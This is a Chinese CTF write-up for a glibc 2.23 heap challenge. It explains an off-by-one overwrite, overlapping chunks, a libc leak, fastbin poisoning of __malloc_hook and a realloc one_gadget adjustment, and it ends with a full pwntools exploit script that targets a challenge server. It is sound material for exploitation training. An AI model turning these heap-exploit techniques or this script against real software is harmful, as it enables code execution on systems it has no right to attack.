image-20240302153211130

漏洞点

image-20240302153706713

image-20240302153715891

利用edit函数,选择修改size时,如果这个size比原来的size大10,那么就会比原来的size多一字节的范围,所以性相当于一个off-by-one。没有UAF

思路

那么思路就是利用这个off-by-one来构造堆块覆盖向后overlapping

image-20240302154254927

第一个堆块利用off-by-one修改size为0xd1,这样就把chunk3和chunk4覆盖了。申请一个小堆块,让unsortedbin的fd和bk覆盖到chunk3的fd位置,然后泄露Libc。

再将0x71这个chunk释放到fastbins中

接着将剩余的unsortedbin全部申请出来,利用这个chunk修改chunk4也就是size为0x71这个堆块的fd,让这个fd指向__malloc_hook部分,这样申请两次0x60,就能申请到能控制到__malloc_hook。然后修改onegadget即可。

但是由于所有onegadget都不行,那么就需要满足onegadget的利用条件

image-20240302154922490

那么就需要利用realloc函数开头的push一堆栈操作来调整栈帧。

所以需要覆盖__malloc_hook为realloc+offset,然后覆盖__realloc_hook为onegadget。__realloc_hook的位置就在__malloc_hook-0x8。

1
edit(6,27,'a'*0xb+p64(libc_addr+onegadget[1])+p64(realloc+0x2))

image-20240302155319383

image-20240302155418114

image-20240302155435727

execve的第二个参数就是rsp

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import*
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux","splitw","-h"]
debug = 1
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('node5.buuoj.cn', 29005)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num))
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
l64 = lambda: u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, '\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, '\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')

def add(size):
rl("choice: ")
sl('1')
rl("size: ")
sl(str(size))

def edit(index,size,content):
rl("choice: ")
sl('2')
rl("index: ")
sl(str(index))
rl("size: ")
sl(str(size))
rl("content: ")
sl(content)
def delete(index):
rl("choice: ")
sl('3')
rl("index: ")
sl(str(index))
def show(index):
rl("choice: ")
sl('4')
rl("index: ")
sl(str(index))

gdb.attach(p)
add(0x18)
add(0x20)
add(0x20)
add(0x60)
add(0x10)
edit(0,0x18+10,'a'*0x18+'\xd1')
pause()
delete(1)
pause()
add(0x20)

show(2)
leak_addr = l64()
libc_addr = leak_addr - 0x3c4b78
lg('libc_addr',libc_addr)

malloc_hook = libc_addr + libc.sym['__malloc_hook']
realloc = libc_addr + libc.sym['realloc']
delete(3)
add(0x90)
edit(3,0x38,p64(0)*5+p64(0x71)+p64(malloc_hook-0x23))
pause()
add(0x60)
add(0x60)
onegadget = [0x45226,0x4527a,0xf03a4,0xf1247]
edit(6,27,'a'*0xb+p64(libc_addr+onegadget[1])+p64(realloc+0x2))
pause()
add(0x10)
inter()